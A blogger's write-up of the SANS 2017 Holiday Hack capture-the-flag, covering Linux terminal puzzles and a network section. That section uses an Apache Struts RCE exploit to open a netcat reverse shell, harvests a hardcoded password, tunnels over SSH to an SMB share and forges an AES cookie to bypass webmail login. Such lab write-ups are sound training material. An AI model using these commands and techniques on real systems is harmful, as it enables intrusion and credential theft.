SANS 2017 Holiday Hack Writeup

This years holiday hack was a ton of fun. Last year I didn’t have all that much experience with Linux and I was really out of it when it came to CTF/challenges so I struggled. I setup this blog to document some of the progress I make and I am really surprised how well I’ve done this year. The network attacks showing how to pivot and tunnel to gain access to internal machines is really really cool something I’d not done before. Overall I highly recommend that everyone give this a go. I’ve sorted the various challenges below; all can be clicked for details as to how I solved them. Can’t guarantee that these are the most efficient solutions but they work so that counts for something.

If you see anything I missed or want to share feel free to email me or comment below.

Web Terminal Solutions

  • Troublesome Process Termination

    My name is Sparkle Redberry, and I need your help.
    My server is atwist, and I fear I may yelp.
    Help me kill the troublesome process gone awry.
    I will return the favor with a gift before nigh.

    Kill the “santaslittlehelperd” process to complete this challenge.

    For this challenge we are tasked to kill the santaslittlehelperd process. Let’s try the obvious:

    elf@5fc0830ce60a:~$ ps
      PID TTY          TIME CMD
        1 pts/0    00:00:00 init
        8 pts/0    00:00:00 santaslittlehel
       11 pts/0    00:00:00 kworker
       12 pts/0    00:00:00 bash
       18 pts/0    00:00:00 kworker
      124 pts/0    00:00:00 ps
    elf@5fc0830ce60a:~$ kill 8
    elf@5fc0830ce60a:~$ ps 
      PID TTY          TIME CMD
        1 pts/0    00:00:00 init
        8 pts/0    00:00:00 santaslittlehel
       11 pts/0    00:00:00 kworker
       12 pts/0    00:00:00 bash
       18 pts/0    00:00:00 kworker
      135 pts/0    00:00:00 ps

    kill didn’t do it so lets see what info we have, Looking at Sparkle Redberry’s Twitter we see talk about aliases so lets check that out.

    elf@5fc0830ce60a:~$ alias
    alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)"
                     "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
    alias egrep='egrep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias grep='grep --color=auto'
    alias kill='true'
    alias killall='true'
    alias l='ls -CF'
    alias la='ls -A'
    alias ll='ls -alF'
    alias ls='ls --color=auto'
    alias pkill='true'
    alias skill='true'

    Here we see that there is an alias for kill/killall when these commands are run bash is told true rather than executing the actual kill command. So let’s remove the process and re-try.

    elf@5fc0830ce60a:~$ unalias kill
    elf@5fc0830ce60a:~$ kill 8 
    elf@5fc0830ce60a:~$ ps
      PID TTY          TIME CMD
        1 pts/0    00:00:00 init
       12 pts/0    00:00:00 bash
      275 pts/0    00:00:00 ps

    Process successfully killed and we have one challenge completed.

  • Candy Cane Striper

    My name is Holly Evergreen, and I have a conundrum.
    I broke the candy cane striper, and I’m near throwing a tantrum.
    Assembly lines have stopped since the elves can’t get their candy cane fix.
    We hope you can start the striper once again, with your vast bag of tricks.

    Run the CandyCaneStriper executable to complete this challenge.

    Something is wrong with the CandyCaneStriper application and we need to fix it. First thing first we take a look and see what the file permissions are set to.

    elf@dc478a938b2a:~$ ls -al 
    total 68
    drwxr-xr-x 1 elf  elf   4096 Dec 15 20:00 .
    drwxr-xr-x 1 root root  4096 Dec  5 19:31 ..
    -rw-r--r-- 1 elf  elf    220 Aug 31  2015 .bash_logout
    -rw-r--r-- 1 root root  3143 Dec 15 19:59 .bashrc
    -rw-r--r-- 1 elf  elf    655 May 16  2017 .profile
    -rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper

    CandyCaneStriper missing executable permission, try to chmod +x

    elf@dc478a938b2a:~$ chmod +x CandyCaneStriper 
    elf@dc478a938b2a:~$ ls -al
    -rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper

    That doesn’t work seems to have some issue with the chmod app, little google searching shows you can actually copy file permissions over another file. So I tried to do it with ls.

    elf@acab87fc0f7b:~$ cp /bin/ls .
    elf@acab87fc0f7b:~$ ls
    CandyCaneStriper  ls
    elf@acab87fc0f7b:~$ cp CandyCaneStriper ls
    CandyCaneStriper  ls
    elf@acab87fc0f7b:~$ ./ls
                     .'\\ //`,      
                   / \/     ;==|
                  /\\/    .'\`,`
                 / \/     `""`
              /\ /
    The candy cane striping machine is up and running!

    We effectively copied the contents of CandyCaneStiper into the ls file while retaining all the permissions that ls had, this allowed us to bypass the chmod error.

  • Linux command hijacking

    My name is Bushy Evergreen, and I have a problem for you.
    I think a server got owned, and I can only offer a clue.
    We use the system for chat, to keep toy production running.
    Can you help us recover from the server connection shunning?

    Find and run the elftalkd binary to complete this challenge.

    For this we are tasked to run a binary sounds like a pretty simple challenge. Lets try the basics.

    elf@e53bfd9d2522:~$ find / |grep elftalkd
    bash: /usr/local/bin/find: cannot execute binary file: Exec format error

    Okay so the system is linking us to a missing find file. odd.. looking through the PATH var I started peeking in the other directories and actually found another copy of find in /usr/bin/find which we can manually run by typing out the full path to the binary so do try that.

    elf@e53bfd9d2522:~$ /usr/bin/find / |grep elftalkd
    elf@e53bfd9d2522:~$ /run/elftalk/bin/elftalkd 
            Running in interactive mode
            --== Initializing elftalkd ==--
    Initializing Messaging System!
    Nice-O-Meter configured to 0.90 sensitivity.
    Acquiring messages from local networks...
    --== Initialization Complete ==--
          _  __ _        _ _       _ 
         | |/ _| |      | | |     | |
      ___| | |_| |_ __ _| | | ____| |
     / _ \ |  _| __/ _` | | |/ / _` |
    |  __/ | | | || (_| | |   < (_| | \___|_|_| \__\__,_|_|_|\_\__,_| -*> elftalkd! <*-
    Version 9000.1 (Build 31337) 
    By Santa Claus & The Elf Team
    Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
    Using libc6 version 2.23-0ubuntu9
    Commencing Elf Talk Daemon (pid=6021)... done!
    Background daemon...

    Successfully found and restarted the elftalk so their chats can continue. Nothing groundbreaking with this challenge just need to look under the hood sometimes.

  • Train Startup

    My name is Pepper Minstix, and I need your help with my plight.
    I’ve crashed the Christmas toy train, for which I am quite contrite.
    I should not have interfered, hacking it was foolish in hindsight.
    If you can get it running again, I will reward you with a gift of delight.
    total 444
    -rwxr-xr-x 1 root root 454636 Dec 7 18:43 trainstartup

    Okay, another dead program we need to get running. Let’s try the simple and work from there lets try to execute the file.

    elf@ba8f4b77de93:~$ ls -al
    total 464
    drwxr-xr-x 1 elf  elf    4096 Dec  7 18:43 .
    drwxr-xr-x 1 root root   4096 Dec  6 20:01 ..
    -rw-r--r-- 1 elf  elf     220 Apr  9  2014 .bash_logout
    -rw-r--r-- 1 root root   3884 Dec  4 14:28 .bashrc
    -rw-r--r-- 1 elf  elf     675 Apr  9  2014 .profile
    -rwxr-xr-x 1 root root 454636 Dec  7 18:43 trainstartup
    elf@ba8f4b77de93:~$ ./trainstartup 
    bash: ./trainstartup: cannot execute binary file: Exec format error

    Okay something fishy going on here the file has execute permissions but is throwing an error on start. Let’s check the file permissions and the file itself and see what we can find.

    elf@ba8f4b77de93:~$ file trainstartup 
    trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, 
        for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped

    The issue here is that the file is not an x86 executable but an ARM executable. Another fun tweet hint from Holly Evergreen talks about qemu. So a few google searches later and its really simple to emulate ARM CPU with the qemu-arm program.

    elf@ba8f4b77de93:~$ qemu-arm trainstartup 
    Starting up ... 
        Merry Christmas
        Merry Christmas
    /   \               @/~~   \                .
    / ° ~~  \         · .    
    /      ~~ \       ◆  ·    
    /     °   ~~\    ·     0
    /~~           \   .─··─ · o
                 /°  ~~  .*· · . \  ├──┼──┤                                        
                  │  ──┬─°─┬─°─°─°─ └──┴──┘                                        
    ≠==≠==≠==≠==──┼──=≠     ≠=≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠===≠
                  │   /└───┘\┌───┐       ┌┐                                        
                             └───┘    /▒▒▒▒                                        
    You did it! Thank you!

    We saved the train and with it saved a piece of Christmas!

  • Web Log Challenge

    Minty Candycane here, I need your help straight away.
    We’re having an argument about browser popularity stray.
    Use the supplied log file from our server in the North Pole.
    Identifying the least-popular browser is your noteworthy goal.

    For this we get access.log and an executable to verify our output. Quick glance at the file shows it to be standard weblogs so we need to parse info out.
    pulling out single line we can begin to break down what we need to do..

    elf@445da2c3184f:~$ sed -n '1p' access.log
    XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" 
      "Mozilla/5.0 (compatible; DotBot/1.1;,"

    We are specifically wanting to pull out the user-agent string (Mozilla/5.0 …. section of each line). We can do this by using cut with a quotation mark delimit then select the appropriate field with -f argument and then use sort and count to find out what is the most/least used browsers.

    cat access.log | cut -d'"' -f6 |sort |uniq -c
     2 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
    143 -
      1 Dillo/3.0.5
      3 GarlikCrawler/1.2 (,
     34 Googlebot-Image/1.0
      3 MobileSafari/604.1 CFNetwork/889.9 Darwin/17.2.0
      4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
      8 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
    345 Mozilla/4.0 (compatible;)
      2 Mozilla/5.0
      1 slack/ (OnePlus ONE A2003; Android 8.0.0)
      1 slack/ (OnePlus ONEPLUS A3000; Android 7.1.1)
      1 slack/ (Xiaomi Redmi Note 4; Android 7.0)
      1 slack/ (motorola Moto G (5) Plus; Android 7.0)
      1 slack/ (motorola XT1635-02; Android 7.1.1)
      1 slack/ (samsung SM-G920P; Android 7.0)
      1 slack/ (samsung SM-G930F; Android 7.0)
      1 slack/ (samsung SM-G935L; Android 7.0)
      1 slack/ (samsung SM-G935T; Android 7.0)
      1 slack/ (samsung SM-G950U; Android 7.0)
      1 slack/ (samsung SM-G955F; Android 7.0)
     12 sysscan/1.0 (
      2 scanner

    We are returned 257 unique strings that were logged in the files. Now most of these are variations on the same so we will group all those together.. ex: slack for various phones. We also see things like crawlers, scanners, wget, curl. These are not Browsers so we can eliminate them. leaves us with a pretty small list with one big standout. Dillo/3.0.5 never heard of it but it is a real browser (source: google) so run the executable and try it out.

    elf@445da2c3184f:~$ ./runtoanswer 
    Starting up, please wait......
    Enter the name of the least popular browser in the web log: Dillo/3.0.5
    That is the least common browser in the web log! Congratulations!

    The power of cut, sort, and uniq saves the day.

  • Christmas Songs Data Analysis

    Sugarplum Mary is in a tizzy, we hope you can assist.
    Christmas songs abound, with many likes in our midst.
    The database is populated, ready for you to address.
    Identify the song whose popularity is the best.

    We need to determine the most popular christmas song by doing a few queries on a given db file… ez enough. Fire up SQLite3 in console and start selecting

    -rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
    -rwxr-xr-x 1 root root  5197352 Dec  7 15:10 runtoanswer
    elf@8dde560492f3:~$ sqlite3 christmassongs.db 
    SQLite version 3.11.0 2016-02-15 17:29:24
    Enter ".help" for usage hints.
    sqlite> .schema
    CREATE TABLE songs(
      title TEXT,
      artist TEXT,
      year TEXT,
      notes TEXT
    CREATE TABLE likes(
      like INTEGER,
      datetime INTEGER,
      songid INTEGER,
      FOREIGN KEY(songid) REFERENCES songs(id)
    sqlite> SELECT songid, COUNT(*) FROM likes GROUP BY songid ORDER BY 2 DESC LIMIT 1;
    sqlite> SELECT title FROM songs WHERE ID=392;
    Stairway to Heaven

    Stairway to Heaven not what I’d call a christmas song but it is what we got from the data sample. Now I’m sure that I could have generated a single query to do what I did between the two but I’m not a DBA so I’m happy with what I’ve got. Let’s verify the answer.

    elf@8dde560492f3:~$ ./runtoanswer 
    Starting up, please wait......
    Enter the name of the song with the most likes: Stairway to Heaven
    That is the #1 Christmas song, congratulations!

    Well there ya go, Stairway to Heaven…

  • Shadow File Restoration

    My name is Shinny Upatree, and I’ve made a big mistake.
    I fear it’s worse than the time I served everyone bad hake.
    I’ve deleted an important file, which suppressed my server access.
    I can offer you a gift, if you can fix my ill-fated redress.
    Restore /etc/shadow with the contents of /etc/shadow.bak, then run “inspect_da_box” to complete this challenge.
    Hint: What commands can you run with sudo?

    We need to fix a broken shadow file with a backup. This challenge is very similar to one we saw last year so let’s load up sudo -l to see what we can run.

    elf@8b16fb91136f:~$ sudo -l
    Matching Defaults entries for elf on 8b16fb91136f:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:
    User elf may run the following commands on 8b16fb91136f:
        (elf : shadow) NOPASSWD: /usr/bin/find

    So we can run the Find command as the group shadow… what to do with that? I started google searching and found a great SANS whitepaper about privilege escalation on linux and it happened to contain an example of how to get shell… but we don’t need shell just need to copy a file over so let’s try it out.

    elf@8b16fb91136f:~$ sudo -g shadow find /etc -exec cp /etc/shadow.bak /etc/shadow \;
    find: '/etc/ssl/private': Permission denied

    I think it worked?

    elf@8b16fb91136f:~$ inspect_da_box 
                        / __'.     .-"""-.
                  .-""-| |  '.'.  / .---. \
                 / .--. \ \___\ \/ /____| |
                / /    \ `-.-;-(`_)_____.-'._
               ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
               | |      /       \ /      `\ `. \       / .-. \
               \ \     |         Y    __...\  \ \     / /   \/
         /\     | |    | .--""--.| .-'      \  '.`---' /
         \ \   / /     |`        \'   _...--.;   '---'`
          \ '-' / jgs  /_..---.._ \ .'\\_     `.
           `--'`      .'    (_)  `'/   (_)     /
                      `._       _.'|         .'
                         ```````    '-...--'`
    /etc/shadow has been successfully restored!

    Oh yea it worked!

  • isit42

    Wunorse Openslae has a special challenge for you.
    Run the given binary, make it return 42.
    Use the partial source for hints, it is just a clue.
    You will need to write your own code, but only a line or two.

    This challenge actually stumped me for a bit, I thought I was needing to manipulate the seed of srand timer or something which turned out to not be the case. The answer for this one was eluded to in a great SANS Blog post. I read over it and first tried to get the program to call my own “getrand()” function but that was not right, this preloading allows you to intercept shared libraries. So I focused on the sleep function because it would be easiest way to test. Code below actually worked so I just appended one for rand() to always return 42 and bam we win. Also interesting but ultimate useless is that the sleep call is called a few times it seems as we get multiple success printouts.

    elf@3d83abde9bd3:~$ cat test.c 
    unsigned int sleep(unsigned int microseconds){
    return 42;
    int rand(void){
    return 42; 
    elf@3d83abde9bd3:~$ gcc test.c -o 42 -shared -fPIC
    elf@3d83abde9bd3:~$ LD_PRELOAD="$PWD/42" ./isit42 
    Starting up ... success
    Calling rand() to select a random number.
              .;;\ ||   
      ,__ |0_..().._0| __,
       | )//_ o  o _\\( | 
        \/|(_) () (_)|\/ 
          \   '()'   /   
        /| | /`\/`\ | |\  
       / | | \_/\_/ | | \ 
      /  |o`""""""""`o|  \  
     `.__/     ()     \__.' 
     |  | ___      ___ |  | 
     /  \|---|    |---|/  \ 
     |  (|42 | () | DA|)  | 
     \  /;---'    '---;\  / 
      `` \ ___ /\ ___ / ``  
          `|  |  |  |`      
    jgs    |  |  |  |       
     _._  |\|\/||\/|/|  _._ 
    / .-\ |~~~~||~~~~| /-. \
    | \__.'    ||    '.__/ |
    Congratulations! You've won, and have successfully completed this challenge.

  • Network boxes

  • Letters to Santa
    We are given access to a web app that can be used to send a letter to Santa. First step in any recon is to examine what you have so I hopped into the page source to see if there was anything noteworthy.

    <!-- Development version -->
    <a style="display: none;" href="">Access Development 

    We found a commented out link which points to a developer version of the webapp. Opening the development version shows a different version of the app where we can manually add items from a preloaded list of toys along with comments, the bottom of the page however shows ”
    Powered By: Apache Strut” this could be a way into the server. Looking at source confirms this with a nice little easter egg.

    <div id="the-footer">
    <p class="center-it">Powered By: <a href="">Apache Struts</a></p>
    <!-- Friend over at Equal-facts Inc recommended this framework-->

    The SANS pen-test blog has an article on tweaking POC code that just so happens to focus on apache struts code vulnerabilities. So we grab a copy of the script from here.

    The vulnerability in this machine is based off a plugin mishandling data sent to it, it fails to do type checks and if you properly craft a payload that will allow RCE. This script takes most of the hard work out and we simply need to pass it a URL to target and a command we want to execute. After some experimenting I set it up to open up a reverse shell back to my listener.

    root@kali:~# python -u 
         -c "nc 65432 -e /bin/sh"
    [+] Encoding Command
    [+] Building XML object
    [+] Placing command in XML object
    [+] Converting Back to String
    [+] Making Post Request with our payload
    [+] Payload executed
    ubuntu@ip-172-31-44-57:~$ netcat -lvp 65432 
    Listening on [] (family 0, port 65432)
    Connection from [] port 65432 [tcp/*] accepted (family 2, sport 54546)

    We are in! For this section of the challenge we were asked a two pieces of data, first what is the topic of the great book page on the server and what is Alabaster Snowball’s password. So first and foremost let’s grab the page from the web root.

    cd /var/www/html
    ls -al
    total 1780
    drwxrwxrwt 6 www-data           www-data              4096 Dec 24 21:01 .
    drwxr-xr-x 3 root               root                  4096 Oct 12 14:35 ..
    drwxr-xr-x 2 root               www-data              4096 Oct 12 19:03 css
    drwxr-xr-x 3 root               www-data              4096 Oct 12 19:40 fonts
    -r--r--r-- 1 root               www-data           1764298 Dec  4 20:25 GreatBookPage2.pdf
    drwxr-xr-x 2 root               www-data              4096 Oct 12 19:14 imgs
    -rw-r--r-- 1 root               www-data             14501 Nov 24 20:53 index.html
    drwxr-xr-x 2 root               www-data              4096 Oct 12 19:11 js
    -rwx------ 1 www-data           www-data               231 Oct 12 21:25 process.php
    sha1sum GreatBookPage2.pdf
    aa814d1c25455480942cb4106e6cde84be86fb30  GreatBookPage2.pdf

    With the SHA1 we can register the page in the stocking but also by simply browsing to we can download and read the page.. which happens to be about Flying Animals. Now for the second part of this challenge we need to find Alabaster’s password, from hints given we know that his password had been hardcoded (and reused) in the dev version of the site. Now we know that this machine has to be running two different web servers simply due to the fact that we exploited the dev site and we are seeing source files for the live l2s page. We can confirm this by checking the /etc/hosts file where we see both l2s and dev directing to localhost

    alabaster_snowball@hhc17-apache-struts1$ cat /etc/hosts	localhost l2s

    A note for going forward – at this point I added mail,ewa,eaas and edb to my attack machine’s hosts file aimed at as I knew we would be attacking these down the road via an SSH tunnel.

    We have a two part problem now, firstly the shell that we are using is finicky if we simply try to grep for password or some other string from the root of the box it will overload the session and we will get nothing useful. So we need to narrow down our search but that leads to the second issue: we don’t know the location of the second web server. The way I found it was by searching the running processes.

    ps -aux
    root         1  0.0  0.0 204464  6896 ?        Ss   03:02   0:03 /sbin/init
    root         2  0.0  0.0      0     0 ?        S    03:02   0:00 [kthreadd]
    root         3  0.0  0.0      0     0 ?        S    03:02   0:00 [ksoftirqd/0]
    root         5  0.0  0.0      0     0 ?        S&lt;   03:02   0:00 [kworker/0:0H]
    alabast+   786  0.2  1.0 925676 313324 ?       Sl   03:03   1:31 /opt/jre/bin/java 
         -Dfile.encoding=UTF-8 -Dnet.sf.ehcache.skipUpdateCheck=true -XX:+UseConcMarkSweepGC 
         -XX:+CMSClassUnloadingEnabled -XX:+UseParNewGC -XX:MaxPermSize=128m 
         -Xms512m -Xmx512m -Djava.endorsed.dirs=/opt/apache-tomcat/endorsed 
         -classpath /opt/apache-tomcat/bin/bootstrap.jar -Dcatalina.base=/opt/apache-tomcat 
         org.apache.catalina.startup.Bootstrap start
    ntp        788  0.0  0.0  97852  3972 ?        Ssl  03:03   0:01 /usr/sbin/ntpd 
         -p /var/run/ -g -c /run/ntp.conf.dhcp -u 106:110
    root       805  0.0  0.0  14312  2060 ttyS0    Ss+  03:03   0:00 /sbin/agetty 
         --keep-baud 115200,38400,9600 ttyS0 vt220
    root       806  0.0  0.0  14536  1660 tty1     Ss+  03:03   0:00 /sbin/agetty 
         --noclear tty1 linux

    Being that this is a target machine in the HHC there was a TON of data to scroll through however we were able to successfully find a running tomcat server and best of all we have the location it is running from /opt/apache-tomcat/. I dug down and manually tried to find the password which was a huge waste of time, don’t waste time be smart. grep and be thoughtful in what you try to grep, “password” in this case throws a ton at us but thinking it through that we’d need a username to go along with the password returned exactly what we need.

    cd /opt/apache-tomcat
    grep -rn alabaster
        final String username = "alabaster_snowball";
    cat webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class
        public class Connect {
                final String host = "localhost";
                final String username = "alabaster_snowball";
                final String password = "stream_unhappy_buy_loss";

    With this we have everything we need to answer Question 2 – Flying Animals and stream_unhappy_buy_loss

  • Windows SMB server

    Now that we have alabaster’s password and as a result can now SSH into we can begin working on the next question. Accessing the SMB server.

    For this the first thing we need to do is find the SMB server, my first instinct was to just run an “nmap” which gives some useful information but is unfortunately not enough for this challenge. The SMB server is set to not respond. A hint tells us that we can run a targeted scan using “nmap -PS” but I assumed if I could find the box I’d be able to connect to it so I simply ran nmap -sL to give us a list of all the reverse DNS on every box in the subnet.

    nmap -sL
    Starting Nmap 7.40 ( ) at 2017-12-26 19:16 UTC
    Nmap scan report for
    Nmap scan report for
    Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (
    Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (
    Nmap scan report for
    Nmap scan report for (
    Nmap scan report for (
    Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (
    Nmap scan report for hhc17-emi.c.holidayhack2017.internal (
    Nmap scan report for
    Nmap scan report for
    Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (
    Nmap scan report for
    Nmap scan report for (

    This returns the SMB server that doesn’t respond in my previous scans. So now we need to setup an SSH tunnel to be able to talk to this internal machine so in a new terminal window I’m going to set up the tunnel. This is an important part of this year’s challenge as the majority of the targets are not facing the outside world. Hints lets us know the command simply ssh -L ::: and then login point on the network.

    root@kali:~# ssh -L 445: password: 

    Then from a new terminal we can begin poking around. One of the hints talks about linux interacting with windows SMB via smbclient and gives us the command “smbclient -L smbserverforwarder -U username” so we toss it localhost and alabaster_snowball and see what happens.

    root@kali:~# smbclient -L localhost -U alabaster_snowball
    WARNING: The "syslog" option is deprecated
    Enter WORKGROUP\alabaster_snowball password: 
    	Sharename       Type      Comment
    	---------       ----      -------
    	ADMIN$          Disk      Remote Admin
    	C$              Disk      Default share
    	FileStor        Disk      
    	IPC$            IPC       Remote IPC
    Reconnecting with SMB1 for workgroup listing.
    Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
    Failed to connect with SMB1 -- no workgroup available

    We are given a list of shares but ultimately the connection fails and we are back to the prompt. A few Google searches later and the issue appears to be that we need to actually point at a fileshare so let’s reconnect and specify the various filestores. We do not as it so happens have access to ADMIN$ or C$ but we do for FileStor which appears to be the target we were aiming for.

    root@kali:~# smbclient \\\\localhost\\FileStor stream_unhappy_buy_loss -U alabaster_snowball
    WARNING: The "syslog" option is deprecated
    Try "help" to get a list of possible commands.
    smb: > ls
      .                                   D        0  Tue Dec 26 00:06:21 2017
      ..                                  D        0  Tue Dec 26 00:06:21 2017
      BOLO - Munchkin Mole Report.docx      A   255520  Wed Dec  6 16:44:17 2017
      GreatBookPage3.pdf                  A  1275756  Mon Dec  4 14:21:44 2017
      MEMO - Password Policy Reminder.docx      A   133295  Wed Dec  6 16:47:28 2017
      Naughty and Nice List.csv           A    10245  Thu Nov 30 14:42:00 2017
      Naughty and Nice List.docx          A    60344  Wed Dec  6 16:51:25 2017

    We interact with SMB very similarly to any command prompt, I went ahead and grabbed everything knowing that we’d likely need the lists and whatnot for future questions.

    smb: > get GreatBookPage3.pdf 
    getting file \GreatBookPage3.pdf of size 1275756 as GreatBookPage3.pdf (2341.8 KiloBytes/sec)
         (average 2341.8 KiloBytes/sec)
    smb: > get "BOLO - Munchkin Mole Report.docx"
    getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.
         docx (605.7 KiloBytes/sec) (average 1584.1 KiloBytes/sec)
    smb: > get "MEMO - Password Policy Reminder.docx"
    getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy
         Reminder.docx (442.8 KiloBytes/sec) (average 1313.1 KiloBytes/sec)
    smb: > get "Naughty and Nice List.csv"
    getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (48.3
         KiloBytes/sec) (average 1131.9 KiloBytes/sec)
    smb: > get "Naughty and Nice List.docx"
    getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (161.5
         KiloBytes/sec) (average 936.2 KiloBytes/sec)
    smb: > exit
    root@kali:~# sha1sum GreatBookPage3.pdf 
    57737da397cbfda84e88b573cd96d45fcf34a5da  GreatBookPage3.pdf

    We have page 3 sha1 so we register it with the stocking and we also have the answer to Question 3, the share name for the filer server is FileStor

  • Mail server
    Question 4 tasks us with getting access to the EWA mail server and grabbing the Great Book page located there. So much like the last step I setup an ssh tunnel via the dev box pointed at the mail ip (which we found with the previous nmap -sL scan) A note on this is that after tinkering a bit the mail server is not actually communicating on port 80 but 3000 so we need to tunnel to that. I set local port 80 to be forwarded for simplicity sake.

    root@kali:~# ssh -L 80:

    Launch FireFox and brows to and we are greeted with a festive login page.

    EWA login page
    Trying alabaster snowball’s account credentials doesn’t work. Checking source code looks to be pretty standard but we have a custom.js script which does show some of the functionality of the site. getmail, sendmail etc. it also shows that the logins are bounced against login.js (which we cannot pull) and then if all is good directs users to account.html

    //-------------------- LOGIN FORM -------------------------//
    function login() {
        var address = $('#email').val().trim();
        var passw = $('#password').val().trim();
        if (address && passw && address.match(/[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?/g) !== null) {
            $.post( "login.js", { email: address, password: passw }).done(function( result ) {
        //RETURN A JSON bool value of true if the email and password is correct. false if incorrect
                if (result.bool) {
                    Materialize.toast('Correct. Logging in now!', 4000);
                        //redirect to home.html. This needs to be locked down by cookies!
                        window.location.href = 'account.html';
                    }, 1000);
                } else {
                    Materialize.toast(result.result, 4000);
            }).fail(function(error) {
                Materialize.toast('Error: '+error.status + " " + error.statusText, 4000);
        } else {
            Materialize.toast('You must put in a correct email and password!', 4000);

    So browsing the account.html page is locked down by cookies, which it just so happens is talked about in the hints one of which says something is hidden from engine indexers on the server. Well robots.txt is the standard file to tell bots what they can and cannot see so lets try that

    User-agent: *
    Disallow: /cookie.txt

    Opening cookie.txt gives us

    //FOUND THESE FOR creating and validating cookies. Going to use this in node js
        function cookie_maker(username, callback){
            var key = 'need to put any length key in here';
            //randomly generates a string of 5 characters
            var plaintext = rando_string(5)
            //makes the string into cipher text .... in base64. When decoded this 21 bytes in 
              total length. 16 bytes for IV and 5 byte of random characters
            //Removes equals from output so as not to mess up cookie. decrypt function can account 
              for this without erroring out.
            var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
            //Setting the values of the cookie.
            var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext, 
                "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
            return callback(acookie);
        function cookie_checker(req, callback){
                var key = 'need to put any length key in here';
                //Retrieving the cookie from the request headers and parsing it as JSON
                var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
                //Retrieving the cipher text 
                var ciphertext = thecookie.ciphertext;
                //Retrievingin the username
                var username =
                //retrieving the plaintext
                var plaintext = aes256.decrypt(key, ciphertext);
                //If the plaintext and ciphertext are the same, then it means the data was encrypted
                     with the same key
                if (plaintext === thecookie.plaintext) {
                    return callback(true, username);
                } else {
                    return callback(false, '');
            } catch (e) {
                return callback(false, '');

    This code is the key to gaining access to webmail. The short version of what is going on is that when a user logs into the app a randomized 5 character plaintext string is generated and then passed into an AES256 algorithm with a secret key. The output ciphertext is stored along with the plaintext as JSON in a cookie. When a user clicks a page the system will take the ciphertext decode it with the secret key and if it matches the plaintext everything is kosher and you are authorized to view the requested page. This in theory sounds secure as the secret key is not ever exposed, however there are a few oversights which bust that right open.

    The flaw exists in the implementation which does no checks on what we feed the cookie; we have full control over both the plain and ciphertext this allows us to play with the way the AES256 encryption algorithm works. When text is encrypted AES uses an initialization vector (IV) this is typically randomized along and used with the secret key to encrypt the plaintext. The output ciphertext has the 16 byte IV appended to the beginning of the output string which is stripped and used when the decode function is called. This is the weakness.

    Because we control both the expected and the checked strings we are able to feed the encryption an empty string which will in turn produce an empty string. However we are not able to simply set ciphertext = “” because we must have the 16 bytes IV or the decryption will throw an error. So by entering any random 16 characters as an IV the AES algorithm will strip them out see a blank string and output a blank string. One last step for this specific case is that the ciphertext is base64 encoded, not a big deal.

    I used the super original and extra secure IV of 1234567890123456, feeding that into b64encode gives us MTIzNDU2Nzg5MDEyMzQ1Ng so if our understanding of the cookie is correct we just need to feed the following into the cookie and we will be authorised.


    Edited the cookie with the developer console and point the browser to account.html.

    Success we are in!
    Browsing through the emails we found one from Holly Evergreen out to Santa with a link to an attached file stored on the mail server.

    We will grab it and register it in our stocking.

    root@kali:~# wget
    --2017-12-31 11:32:41--
    Resolving (
    Connecting to (||:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 1424499 (1.4M) [application/pdf]
    Saving to: ‘GreatBookPage4_893jt91md2.pdf’
    GreatBookPage4_893jt91md2.pdf    100%[=========================================================&gt;]   1.36M   894KB/s    in 1.6s    
    2017-12-31 11:32:43 (894 KB/s) - ‘GreatBookPage4_893jt91md2.pdf’ saved [1424499/1424499]
    root@kali:~# sha1sum GreatBookPage4_893jt91md2.pdf 
    f192a884f68af24ae55d9d9ad4adf8d3a3995258  GreatBookPage4_893jt91md2.pdf

    With this we can now answer Question 4. This page of the great book tells us about the skirmishes of the elves and the munchkins as they escalated into small skirmishes which lead to more conflict. Ultimately lead to a group of munchkin commandos forming the lollipop guild a group which to this day still leads dedicated cyber attacks against the North Pole infrastructure in attempts to disrupt christmas. There are even rumors that a few of the guild have been able to infiltrate the North Pole but this has yet to be proven.

  • North Pole Police Department
    For question 5 we are tasked with identifying the munchkin moles that have infiltrated the network. While exploring the SMB we found a number of files on the FileStor one of which are likely going to be useful for narrowing down the pool of suspects. We are tasked to identify 6 moles, from the document BOLO – Munchkin Mole Report we know two: Boq Questrian and Bini Aru. The document also tells us about a strange phrase the two spoke before disappearing “puuurzgexgull”.

